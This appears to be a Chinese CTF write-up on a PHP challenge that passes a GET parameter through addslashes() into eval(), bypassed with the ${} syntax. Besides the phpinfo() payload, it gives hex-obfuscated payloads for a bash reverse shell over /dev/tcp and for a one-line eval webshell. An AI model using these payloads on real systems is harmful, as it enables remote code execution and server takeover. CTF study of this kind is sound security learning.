源碼 :
<?php
$str=@(string)$_GET['str'];
eval('$str="'.addslashes($str).'";');
最開始百思不得其解 , 然后查閱了一些大佬們的 WriteUp
得到如下的 payload :
?str=${phpinfo()}
相關 php 官方文檔可以參考 :
但是仍舊不太明白為什么這樣就可以執行代碼...
希望有知道的大佬可以教教我
本文的重點來了
筆者在根據網上大佬們提供的 Payload 的復現的時候發現
(原版的題目服務器已經掛掉了 , 所以筆者也不知道這個題最終的目標是啥...)
這個題目好像就是只讓你執行一下 phpinfo 就行了
那么可不可以再猥瑣一點執行一點別的呢
嘗試一下直接這樣行不行 :
?str={eval($_GET[c])}&c=phpinfo();
// 似乎并不行...
經過一番嘗試 , 筆者最終發現了下面兩種 Payload
// 一個反彈 shell 的 Payload
?str=${system(hex2bin(ff0a2f62696e2f62617368202d6320277368202d69203e26202f6465762f7463702f3132372e302e302e312f3434343420303e263127))}
// 一個一句話木馬的 Payload
?str=${eval(substr(hex2bin(ff6576616c28245f524551554553545b635d293b),1,19))}&c=phpinfo();
image.png